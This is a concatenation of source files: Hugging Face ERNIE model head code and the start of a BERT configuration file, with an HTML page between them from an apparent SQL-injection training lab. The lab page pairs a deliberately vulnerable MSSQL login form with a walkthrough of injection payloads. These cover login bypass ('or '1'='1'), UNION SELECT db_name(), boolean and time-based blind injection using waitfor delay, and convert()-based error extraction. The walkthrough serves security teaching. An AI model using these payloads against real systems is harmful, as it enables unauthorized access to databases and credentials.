@add_start_docstrings_to_model_forward(ERNIE_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@add_code_sample_docstrings(
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=MaskedLMOutput,
config_class=_CONFIG_FOR_DOC,
expected_output="'paris'",
expected_loss=0.88,
)
def forward(
self,
input_ids: Optional[torch.Tensor] = None,
attention_mask: Optional[torch.Tensor] = None,
token_type_ids: Optional[torch.Tensor] = None,
task_type_ids: Optional[torch.Tensor] = None,
position_ids: Optional[torch.Tensor] = None,
head_mask: Optional[torch.Tensor] = None,
inputs_embeds: Optional[torch.Tensor] = None,
encoder_hidden_states: Optional[torch.Tensor] = None,
encoder_attention_mask: Optional[torch.Tensor] = None,
labels: Optional[torch.Tensor] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
) -> Union[Tuple[torch.Tensor], MaskedLMOutput]:
r"""
labels (`torch.LongTensor` of shape `(batch_size, sequence_length)`, *optional*):
Labels for computing the masked language modeling loss. Indices should be in `[-100, 0, ...,
config.vocab_size]` (see `input_ids` docstring) Tokens with indices set to `-100` are ignored (masked), the
loss is only computed for the tokens with labels in `[0, ..., config.vocab_size]`
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
outputs = self.ernie(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
task_type_ids=task_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
encoder_hidden_states=encoder_hidden_states,
encoder_attention_mask=encoder_attention_mask,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
sequence_output = outputs[0]
prediction_scores = self.cls(sequence_output)
masked_lm_loss = None
if labels is not None:
loss_fct = CrossEntropyLoss() # -100 index = padding token
masked_lm_loss = loss_fct(prediction_scores.view(-1, self.config.vocab_size), labels.view(-1))
if not return_dict:
output = (prediction_scores,) + outputs[2:]
return ((masked_lm_loss,) + output) if masked_lm_loss is not None else output
return MaskedLMOutput(
loss=masked_lm_loss,
logits=prediction_scores,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
# Copied from transformers.models.bert.modeling_bert.BertForMaskedLM.prepare_inputs_for_generation
def prepare_inputs_for_generation(self, input_ids, attention_mask=None, **model_kwargs):
input_shape = input_ids.shape
effective_batch_size = input_shape[0]
# add a dummy token
if self.config.pad_token_id is None:
raise ValueError("The PAD token should be defined for generation")
attention_mask = torch.cat([attention_mask, attention_mask.new_zeros((attention_mask.shape[0], 1))], dim=-1)
dummy_token = torch.full(
(effective_batch_size, 1), self.config.pad_token_id, dtype=torch.long, device=input_ids.device
)
input_ids = torch.cat([input_ids, dummy_token], dim=1)
return {"input_ids": input_ids, "attention_mask": attention_mask}
@add_start_docstrings(
"""Ernie Model with a `next sentence prediction (classification)` head on top.""",
ERNIE_START_DOCSTRING,
)
class ErnieForNextSentencePrediction(ErniePreTrainedModel):
# Copied from transformers.models.bert.modeling_bert.BertForNextSentencePrediction.__init__ with Bert->Ernie,bert->ernie
def __init__(self, config):
super().__init__(config)
self.ernie = ErnieModel(config)
self.cls = ErnieOnlyNSPHead(config)
# Initialize weights and apply final processing
self.post_init()
@add_start_docstrings_to_model_forward(ERNIE_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@replace_return_docstrings(output_type=NextSentencePredictorOutput, config_class=_CONFIG_FOR_DOC)
def forward(
self,
input_ids: Optional[torch.Tensor] = None,
attention_mask: Optional[torch.Tensor] = None,
token_type_ids: Optional[torch.Tensor] = None,
task_type_ids: Optional[torch.Tensor] = None,
position_ids: Optional[torch.Tensor] = None,
head_mask: Optional[torch.Tensor] = None,
inputs_embeds: Optional[torch.Tensor] = None,
labels: Optional[torch.Tensor] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
**kwargs,
) -> Union[Tuple[torch.Tensor], NextSentencePredictorOutput]:
r"""
labels (`torch.LongTensor` of shape `(batch_size,)`, *optional*):
Labels for computing the next sequence prediction (classification) loss. Input should be a sequence pair
(see `input_ids` docstring). Indices should be in `[0, 1]`:
- 0 indicates sequence B is a continuation of sequence A,
- 1 indicates sequence B is a random sequence.
Returns:
Example:
```python
>>> from transformers import AutoTokenizer, ErnieForNextSentencePrediction
>>> import torch
>>> tokenizer = AutoTokenizer.from_pretrained("nghuyong/ernie-1.0-base-zh")
>>> model = ErnieForNextSentencePrediction.from_pretrained("nghuyong/ernie-1.0-base-zh")
>>> prompt = "In Italy, pizza served in formal settings, such as at a restaurant, is presented unsliced."
>>> next_sentence = "The sky is blue due to the shorter wavelength of blue light."
>>> encoding = tokenizer(prompt, next_sentence, return_tensors="pt")
>>> outputs = model(**encoding, labels=torch.LongTensor([1]))
>>> logits = outputs.logits
>>> assert logits[0, 0] < logits[0, 1] # next sentence was random
```
"""
if "next_sentence_label" in kwargs:
warnings.warn(
"The `next_sentence_label` argument is deprecated and will be removed in a future version, use"
" `labels` instead.",
FutureWarning,
)
labels = kwargs.pop("next_sentence_label")
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
outputs = self.ernie(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
task_type_ids=task_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
pooled_output = outputs[1]
seq_relationship_scores = self.cls(pooled_output)
next_sentence_loss = None
if labels is not None:
loss_fct = CrossEntropyLoss()
next_sentence_loss = loss_fct(seq_relationship_scores.view(-1, 2), labels.view(-1))
if not return_dict:
output = (seq_relationship_scores,) + outputs[2:]
return ((next_sentence_loss,) + output) if next_sentence_loss is not None else output
return NextSentencePredictorOutput(
loss=next_sentence_loss,
logits=seq_relationship_scores,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
@add_start_docstrings(
"""
Ernie Model transformer with a sequence classification/regression head on top (a linear layer on top of the pooled
output) e.g. for GLUE tasks.
""",
ERNIE_START_DOCSTRING,
)
class ErnieForSequenceClassification(ErniePreTrainedModel):
# Copied from transformers.models.bert.modeling_bert.BertForSequenceClassification.__init__ with Bert->Ernie,bert->ernie
def __init__(self, config):
super().__init__(config)
self.num_labels = config.num_labels
self.config = config
self.ernie = ErnieModel(config)
classifier_dropout = (
config.classifier_dropout if config.classifier_dropout is not None else config.hidden_dropout_prob
)
self.dropout = nn.Dropout(classifier_dropout)
self.classifier = nn.Linear(config.hidden_size, config.num_labels)
# Initialize weights and apply final processing
self.post_init()
@add_start_docstrings_to_model_forward(ERNIE_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
def forward(
self,
input_ids: Optional[torch.Tensor] = None,
attention_mask: Optional[torch.Tensor] = None,
token_type_ids: Optional[torch.Tensor] = None,
task_type_ids: Optional[torch.Tensor] = None,
position_ids: Optional[torch.Tensor] = None,
head_mask: Optional[torch.Tensor] = None,
inputs_embeds: Optional[torch.Tensor] = None,
labels: Optional[torch.Tensor] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
) -> Union[Tuple[torch.Tensor], SequenceClassifierOutput]:
r"""
labels (`torch.LongTensor` of shape `(batch_size,)`, *optional*):
Labels for computing the sequence classification/regression loss. Indices should be in `[0, ...,
config.num_labels - 1]`. If `config.num_labels == 1` a regression loss is computed (Mean-Square loss), If
`config.num_labels > 1` a classification loss is computed (Cross-Entropy).
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
outputs = self.ernie(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
task_type_ids=task_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
pooled_output = outputs[1]
pooled_output = self.dropout(pooled_output)
logits = self.classifier(pooled_output)
loss = None
if labels is not None:
if self.config.problem_type is None:
if self.num_labels == 1:
self.config.problem_type = "regression"
elif self.num_labels > 1 and (labels.dtype == torch.long or labels.dtype == torch.int):
self.config.problem_type = "single_label_classification"
else:
self.config.problem_type = "multi_label_classification"
if self.config.problem_type == "regression":
loss_fct = MSELoss()
if self.num_labels == 1:
loss = loss_fct(logits.squeeze(), labels.squeeze())
else:
loss = loss_fct(logits, labels)
elif self.config.problem_type == "single_label_classification":
loss_fct = CrossEntropyLoss()
loss = loss_fct(logits.view(-1, self.num_labels), labels.view(-1))
elif self.config.problem_type == "multi_label_classification":
loss_fct = BCEWithLogitsLoss()
loss = loss_fct(logits, labels)
if not return_dict:
output = (logits,) + outputs[2:]
return ((loss,) + output) if loss is not None else output
return SequenceClassifierOutput(
loss=loss,
logits=logits,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
@add_start_docstrings(
"""
Ernie Model with a multiple choice classification head on top (a linear layer on top of the pooled output and a
softmax) e.g. for RocStories/SWAG tasks.
""",
ERNIE_START_DOCSTRING,
)
class ErnieForMultipleChoice(ErniePreTrainedModel):
# Copied from transformers.models.bert.modeling_bert.BertForMultipleChoice.__init__ with Bert->Ernie,bert->ernie
def __init__(self, config):
super().__init__(config)
self.ernie = ErnieModel(config)
classifier_dropout = (
config.classifier_dropout if config.classifier_dropout is not None else config.hidden_dropout_prob
)
self.dropout = nn.Dropout(classifier_dropout)
self.classifier = nn.Linear(config.hidden_size, 1)
# Initialize weights and apply final processing
self.post_init()
@add_start_docstrings_to_model_forward(ERNIE_INPUTS_DOCSTRING.format("batch_size, num_choices, sequence_length"))
@add_code_sample_docstrings(
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=MultipleChoiceModelOutput,
config_class=_CONFIG_FOR_DOC,
)
def forward(
self,
input_ids: Optional[torch.Tensor] = None,
attention_mask: Optional[torch.Tensor] = None,
token_type_ids: Optional[torch.Tensor] = None,
task_type_ids: Optional[torch.Tensor] = None,
position_ids: Optional[torch.Tensor] = None,
head_mask: Optional[torch.Tensor] = None,
inputs_embeds: Optional[torch.Tensor] = None,
labels: Optional[torch.Tensor] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
) -> Union[Tuple[torch.Tensor], MultipleChoiceModelOutput]:
r"""
labels (`torch.LongTensor` of shape `(batch_size,)`, *optional*):
Labels for computing the multiple choice classification loss. Indices should be in `[0, ...,
num_choices-1]` where `num_choices` is the size of the second dimension of the input tensors. (See
`input_ids` above)
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
num_choices = input_ids.shape[1] if input_ids is not None else inputs_embeds.shape[1]
input_ids = input_ids.view(-1, input_ids.size(-1)) if input_ids is not None else None
attention_mask = attention_mask.view(-1, attention_mask.size(-1)) if attention_mask is not None else None
token_type_ids = token_type_ids.view(-1, token_type_ids.size(-1)) if token_type_ids is not None else None
position_ids = position_ids.view(-1, position_ids.size(-1)) if position_ids is not None else None
inputs_embeds = (
inputs_embeds.view(-1, inputs_embeds.size(-2), inputs_embeds.size(-1))
if inputs_embeds is not None
else None
)
outputs = self.ernie(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
task_type_ids=task_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
pooled_output = outputs[1]
pooled_output = self.dropout(pooled_output)
logits = self.classifier(pooled_output)
reshaped_logits = logits.view(-1, num_choices)
loss = None
if labels is not None:
loss_fct = CrossEntropyLoss()
loss = loss_fct(reshaped_logits, labels)
if not return_dict:
output = (reshaped_logits,) + outputs[2:]
return ((loss,) + output) if loss is not None else output
return MultipleChoiceModelOutput(
loss=loss,
logits=reshaped_logits,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
@add_start_docstrings(
"""
Ernie Model with a token classification head on top (a linear layer on top of the hidden-states output) e.g. for
Named-Entity-Recognition (NER) tasks.
""",
ERNIE_START_DOCSTRING,
)
class ErnieForTokenClassification(ErniePreTrainedModel):
_keys_to_ignore_on_load_unexpected = [r"pooler"]
# Copied from transformers.models.bert.modeling_bert.BertForTokenClassification.__init__ with Bert->Ernie,bert->ernie
def __init__(self, config):
super().__init__(config)
self.num_labels = config.num_labels
self.ernie = ErnieModel(config, add_pooling_layer=False)
classifier_dropout = (
config.classifier_dropout if config.classifier_dropout is not None else config.hidden_dropout_prob
)
self.dropout = nn.Dropout(classifier_dropout)
self.classifier = nn.Linear(config.hidden_size, config.num_labels)
# Initialize weights and apply final processing
self.post_init()
@add_start_docstrings_to_model_forward(ERNIE_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
def forward(
self,
input_ids: Optional[torch.Tensor] = None,
attention_mask: Optional[torch.Tensor] = None,
token_type_ids: Optional[torch.Tensor] = None,
task_type_ids: Optional[torch.Tensor] = None,
position_ids: Optional[torch.Tensor] = None,
head_mask: Optional[torch.Tensor] = None,
inputs_embeds: Optional[torch.Tensor] = None,
labels: Optional[torch.Tensor] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
) -> Union[Tuple[torch.Tensor], TokenClassifierOutput]:
r"""
labels (`torch.LongTensor` of shape `(batch_size, sequence_length)`, *optional*):
Labels for computing the token classification loss. Indices should be in `[0, ..., config.num_labels - 1]`.
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
outputs = self.ernie(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
task_type_ids=task_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
sequence_output = outputs[0]
sequence_output = self.dropout(sequence_output)
logits = self.classifier(sequence_output)
loss = None
if labels is not None:
loss_fct = CrossEntropyLoss()
loss = loss_fct(logits.view(-1, self.num_labels), labels.view(-1))
if not return_dict:
output = (logits,) + outputs[2:]
return ((loss,) + output) if loss is not None else output
return TokenClassifierOutput(
loss=loss,
logits=logits,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
@add_start_docstrings(
"""
Ernie Model with a span classification head on top for extractive question-answering tasks like SQuAD (a linear
layers on top of the hidden-states output to compute `span start logits` and `span end logits`).
""",
ERNIE_START_DOCSTRING,
)
class ErnieForQuestionAnswering(ErniePreTrainedModel):
_keys_to_ignore_on_load_unexpected = [r"pooler"]
# Copied from transformers.models.bert.modeling_bert.BertForQuestionAnswering.__init__ with Bert->Ernie,bert->ernie
def __init__(self, config):
super().__init__(config)
self.num_labels = config.num_labels
self.ernie = ErnieModel(config, add_pooling_layer=False)
self.qa_outputs = nn.Linear(config.hidden_size, config.num_labels)
# Initialize weights and apply final processing
self.post_init()
@add_start_docstrings_to_model_forward(ERNIE_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
def forward(
self,
input_ids: Optional[torch.Tensor] = None,
attention_mask: Optional[torch.Tensor] = None,
token_type_ids: Optional[torch.Tensor] = None,
task_type_ids: Optional[torch.Tensor] = None,
position_ids: Optional[torch.Tensor] = None,
head_mask: Optional[torch.Tensor] = None,
inputs_embeds: Optional[torch.Tensor] = None,
start_positions: Optional[torch.Tensor] = None,
end_positions: Optional[torch.Tensor] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
) -> Union[Tuple[torch.Tensor], QuestionAnsweringModelOutput]:
r"""
start_positions (`torch.LongTensor` of shape `(batch_size,)`, *optional*):
Labels for position (index) of the start of the labelled span for computing the token classification loss.
Positions are clamped to the length of the sequence (`sequence_length`). Position outside of the sequence
are not taken into account for computing the loss.
end_positions (`torch.LongTensor` of shape `(batch_size,)`, *optional*):
Labels for position (index) of the end of the labelled span for computing the token classification loss.
Positions are clamped to the length of the sequence (`sequence_length`). Position outside of the sequence
are not taken into account for computing the loss.
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
outputs = self.ernie(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
task_type_ids=task_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
sequence_output = outputs[0]
logits = self.qa_outputs(sequence_output)
start_logits, end_logits = logits.split(1, dim=-1)
start_logits = start_logits.squeeze(-1).contiguous()
end_logits = end_logits.squeeze(-1).contiguous()
total_loss = None
if start_positions is not None and end_positions is not None:
# If we are on multi-GPU, split add a dimension
if len(start_positions.size()) > 1:
start_positions = start_positions.squeeze(-1)
if len(end_positions.size()) > 1:
end_positions = end_positions.squeeze(-1)
# sometimes the start/end positions are outside our model inputs, we ignore these terms
ignored_index = start_logits.size(1)
start_positions = start_positions.clamp(0, ignored_index)
end_positions = end_positions.clamp(0, ignored_index)
loss_fct = CrossEntropyLoss(ignore_index=ignored_index)
start_loss = loss_fct(start_logits, start_positions)
end_loss = loss_fct(end_logits, end_positions)
total_loss = (start_loss + end_loss) / 2
if not return_dict:
output = (start_logits, end_logits) + outputs[2:]
return ((total_loss,) + output) if total_loss is not None else output
return QuestionAnsweringModelOutput(
loss=total_loss,
start_logits=start_logits,
end_logits=end_logits,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
|
2740908911/Pilot-Web | 12,069 | pilot-client/pages/sqli/sqli_mssql.html | <!DOCTYPE html>
<html lang="zh">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>SQL注入-Mssql注入</title>
<link rel="stylesheet" href="../../plugins/googleapis/fonts.css">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<link rel="stylesheet" href="../../plugins/overlayScrollbars/css/OverlayScrollbars.min.css">
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
</head>
<body class="hold-transition light-mode sidebar-mini layout-fixed layout-navbar-fixed layout-footer-fixed">
<div class="wrapper">
<nav id="Navbar" class="main-header navbar navbar-expand navbar-light"></nav>
<aside id="Container" class="main-sidebar sidebar-light-primary elevation-4"></aside>
<div class="content-wrapper" id="Wrapper">
<section class="content-header" id="WrapperHeader"></section>
<section class="content">
<div class="container-fluid">
<div id="notice"></div>
<div class="card card-primary card-outline">
<div class="card-header">
<h3 class="card-title"><strong>Mssql注入</strong></h3>
</div>
<div class="card-body">
<div class="card card-primary">
<div class="card-header" id="LoginT">
<h3 class="card-title">后台登录</h3>
</div>
<form action="" onsubmit="return false" id="Login">
<div class="card-body">
<div class="form-group">
<label for="username">用户名</label>
<input type="text" class="form-control" name="username" id="username" placeholder="Enter username or phone number">
</div>
<div class="form-group">
<label for="password">密码</label>
<input type="password" class="form-control" name="password" id="password" placeholder="Password">
</div>
</div>
<div class="card-footer">
<button type="submit" id="loginButton" class="btn btn-primary" onclick="doLogin()">登录</button>
</div>
</form>
</div>
<div class="card card-primary" id="adminAuthSection">
<div class="card-header">
<h3 class="card-title"><strong>用户列表</strong></h3>
</div>
<div class="card-body">
<table id="adminAuthTable" class="table">
<thead>
<tr>
<th>序号</th>
<th>账号</th>
<th>手机号</th>
<th>PID</th>
<th>UID</th>
</tr>
</thead>
<tbody>
</tbody>
</table>
</div>
</div>
</div>
</div>
<div class="card card-warning card-outline" id="hint">
<div class="card-header">
<h3 class="card-title"><strong>思路提示</strong></h3>
</div>
<div class="card-body">
<div>
<ul><li>一般来说,如果一个点可以注入,那大概整个系统都完蛋-_-</li><br>
<li>如果页面没有回显,那么你会怎么利用注入呢?</li><br>
<li>如果你不会Mssql的语法,建议百度一下~</li></ul>
</div>
</div>
</div>
<div class="card card-success card-outline" id="writeUp">
<div class="card-header">
<h3 class="card-title"><strong>正确实现</strong></h3>
</div>
<div class="card-body">
<ol start=""><li><p><span>进入漏洞页面,随意登录,并抓取登录数据包:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l2-1.png" referrerpolicy="no-referrer" alt="l2-1"></div></p><ul><li><p><span>此时的Sql语句为:</span><code>SELECT USERNAME FROM Dbo.[USER] WHERE (USERNAME = 'admin' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')</code></p></li></ul></li><li><p><span>对登录时通常不会进行加密存储的</span><code>username</code><span>参数进行Sql注入测试:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l2-2.png" referrerpolicy="no-referrer" alt="l2-2"></div></p><ul><li><p><span>此时的Sql语句为:</span><code>SELECT USERNAME FROM Dbo.[USER] WHERE (USERNAME = 'admin'' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')</code><span>,语法错误。</span></p></li></ul></li><li><p><span>可以发现后端数据库产生报错。此处为登录接口,回显点为</span><code>username</code><span>,即一般考虑联合查询、布尔注入、时间盲注、布尔盲注、报错注入。</span></p></li><li><p><span>首先进行联合查询测试,尝试查询数据库名称:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l2-2-1.png" referrerpolicy="no-referrer" alt="l1-2-1"></div></p><ul><li><p><span>此时的Sql语句为:</span><code>SELECT USERNAME FROM USER WHERE (USERNAME = '-1') UNION SELECT db_name()-- PASSWORD = '21232f297a57a5a743894a0e4a801fc3')</code><span>,</span><code>--</code><span> 是注释符。</span></p></li></ul></li><li><p><span>其次进行布尔测试,判断SQL语句闭合情况,并进行无密码登录:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l2-3.png" referrerpolicy="no-referrer" alt="l2-3"></div></p><ul><li><p><span>此时的Sql语句为:</span><code>SELECT USERNAME FROM Dbo.[USER] WHERE (USERNAME = 'admin' or '1'='1')-- ' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')</code><span>,</span><code>--</code><span> 是注释符。</span></p></li></ul><p><div class="card col-lg-11 col-xl-11"><img src="assist/l2-4.png" referrerpolicy="no-referrer" alt="l2-4"></div></p><ul><li><p><span>此时的Sql语句为:</span><code>SELECT USERNAME FROM Dbo.[USER] WHERE (USERNAME = 'admin' or '1'='1' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')</code></p></li></ul></li><li><p><span>可以发现以上两种情况可以正确闭合Sql语句。通过布尔盲注爆破库名,这里演示为使用BurpSuite完成:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l2-5.png" referrerpolicy="no-referrer" alt="l2-5"></div></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l2-6.png" referrerpolicy="no-referrer" alt="l2-6"></div></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l2-7.png" referrerpolicy="no-referrer" alt="l2-7"></div></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l2-8.png" referrerpolicy="no-referrer" alt="l2-8"></div></p><ul><li><p><span>此时的Sql语句为:</span><code>SELECT USERNAME FROM Dbo.[USER] WHERE (USERNAME = 'admin' and substring(db_name(),1,1)='a')-- ' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')</code></p></li></ul></li><li><p><span>尝试是否可以进行延时注入,对数据库进行5秒延时:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l2-9.png" referrerpolicy="no-referrer" alt="l2-9"></div></p><ul><li><p><span>此时的Sql语句为:</span><code>SELECT USERNAME FROM Dbo.[USER] WHERE (USERNAME = 'admin');waitfor delay '0:0:5'-- ' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')</code><span>,因为</span><code>waitfor delay</code><span>的特性,此处使用了堆叠注入进行配合。</span></p></li></ul></li><li><p><span>可以进行延时注入。尝试时间盲注爆破库名,这里演示为使用Python脚本完成:</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l2-10.png" referrerpolicy="no-referrer" alt="l2-10"></div></p><ul><li>Python脚本源码下载:<a href="assist/l2-sqli.py" target="_blank">Mssql时间盲注脚本</a></li><li><p><span>此时的Sql语句为:</span><code>SELECT USERNAME FROM Dbo.[USER] WHERE (USERNAME = 'admin'); if(ascii(substring(db_name(),{i},1))) > {mid} waitfor delay '0:0:3'-- ' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')</code></p></li></ul></li><li><p><span>因为之前已经验证过此处会返回SQL语句报错,故也可以进行报错注入:、</span></p><p><div class="card col-lg-11 col-xl-11"><img src="assist/l2-11.png" referrerpolicy="no-referrer" alt="l2-11"></div></p><ul><li><p><span>此时的Sql语句为:</span><code>SELECT USERNAME FROM Dbo.[USER] WHERE (USERNAME = '1' and 1=convert(int,db_name()))-- ' AND PASSWORD = '21232f297a57a5a743894a0e4a801fc3')</code><span>,类型转换会报错出数据库名。</span></p></li></ul></li><li><p><span>除了登录接口可以注入外,登录后的信息获取接口也可以进行布尔注入、时间注入和报错注入,因为原理一样,此处不再演示。</span></p></li></ol>
</div>
</div>
<div class="card card-info card-outline" id="showSource">
<div class="card-header">
<h3 class="card-title"><strong>源码解析</strong></h3>
</div>
<div class="card-body">
<ul style="margin-bottom: 0;"><li>在登录和查询信息时,使用拼接SQL语句的方式构造命令,而不是通过预编译后再执行命令,致使SQL注入漏洞产生:</li></ul>
<div class="card-body" style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sCode-2.html" width="100%" height="1415px"></object></div>
</div>
</div>
<div class="card card-orange card-outline" id="repository">
<div class="card-header">
<h3 class="card-title"><strong>知识梳理</strong></h3>
</div>
<div class="card-body">
<div style="padding-top: 0%; padding-bottom: 0%;"><object type="text/html" data="assist/sum-2.html" width="100%" height="4135px"></object></div>
</div>
</div>
</div>
</section>
</div>
</div>
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<footer class="main-footer"></footer>
<script src="../../dist/js/templateHandle.js"></script>
<script>
setWrapperHeader("SQL注入", ["Mssql注入"]);
</script>
<script src="../../plugins/jquery/jquery.min.js"></script>
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<script src="../../plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js"></script>
<script src="../../dist/js/adminlte.js"></script>
<script>
$(document).ready(function() {
$("#adminAuthSection").hide(); // 页面加载时隐藏
});
var loginData = {
username: null,
token: null
};
function doLogin(){
let data = {
username: $("#username")[0].value,
password: $("#password")[0].value,
}
$.post({
url: `http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/sqli/l2/login`,
data,
dataType: "json",
success(resp){
if(resp["status"] === "200"){
loginData.token = resp["token"]; // 从响应中获取token
loginData.username = resp["username"]; // 从响应中获取用户名
$("#notice")[0].innerHTML = generateNote("登录成功!欢迎, " + resp["username"]);
fetchAdminAuthData();
} else if(resp["status"] === "405"){
$("#notice")[0].innerHTML = generateNote("登录失败:" + resp["msg"]);
} else if(resp["status"] === "401"){
$("#notice")[0].innerHTML = generateNote("登录失败:" + resp["msg"]);
}
},
error: function(jqXHR, textStatus, errorThrown) {
// 添加错误处理
$("#notice")[0].innerHTML = generateNote("发生错误:" + textStatus + ", " + errorThrown);
}
})
}
function fetchAdminAuthData() {
$.ajax({
url: 'http://{ENV:NET_IP}:{ENV:FLASK_PORT}/api/sqli/l2/getAuthinfo?n=' + loginData.username,
headers: {
'Authorization': loginData.token
},
success: function(response) {
if (response.status === "403") {
$("#notice")[0].innerHTML = generateNote("Token过期或错误,请重新登录");
} else if (response.status === "400") {
$("#notice")[0].innerHTML = generateNote("账号权限不足,请使用高权限账号登录");
} else if (response.status === "200") {
$("#adminAuthSection").show();
$("#LoginT").hide();
$("#Login").hide();
populateAuthTable(response.msg);
}
},
error: function() {
$("#notice")[0].innerHTML = generateNote("数据获取失败,请稍后重试");
}
});
}
function populateAuthTable(data) {
var tableBody = $("#adminAuthTable tbody");
tableBody.empty();
data.forEach(function(item, index) {
var row = `
<tr>
<td style="font-size: 21px">${index + 1}</td>
<td style="font-size: 21px">${item.USERNAME}</td>
<td style="font-size: 21px">${item.PHONE}</td>
<td style="font-size: 21px">${item.PID}</td>
<td style="font-size: 20px">${item.UID === 1 ? "管理员" : "普通用户"}</td>
</tr>
`;
tableBody.append(row);
});
}
</script>
</body>
</html> |
27182812/ChatGLM-LLaMA-chinese-insturct | 10,150 | src/transformers/models/bert/configuration_bert.py | # coding=utf-8
# Copyright 2018 The Google AI Language Team Authors and The HuggingFace Inc. team.
# Copyright (c) 2018, NVIDIA CORPORATION. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
""" BERT model configuration"""
from collections import OrderedDict
from typing import Mapping
from ...configuration_utils import PretrainedConfig
from ...onnx import OnnxConfig
from ...utils import logging
logger = logging.get_logger(__name__)
BERT_PRETRAINED_CONFIG_ARCHIVE_MAP = {
"bert-base-uncased": "https://huggingface.co/bert-base-uncased/resolve/main/config.json",
"bert-large-uncased": "https://huggingface.co/bert-large-uncased/resolve/main/config.json",
"bert-base-cased": "https://huggingface.co/bert-base-cased/resolve/main/config.json",
"bert-large-cased": "https://huggingface.co/bert-large-cased/resolve/main/config.json",
"bert-base-multilingual-uncased": "https://huggingface.co/bert-base-multilingual-uncased/resolve/main/config.json",
"bert-base-multilingual-cased": "https://huggingface.co/bert-base-multilingual-cased/resolve/main/config.json",
"bert-base-chinese": "https://huggingface.co/bert-base-chinese/resolve/main/config.json",
"bert-base-german-cased": "https://huggingface.co/bert-base-german-cased/resolve/main/config.json",
"bert-large-uncased-whole-word-masking": (
"https://huggingface.co/bert-large-uncased-whole-word-masking/resolve/main/config.json"
),
"bert-large-cased-whole-word-masking": (
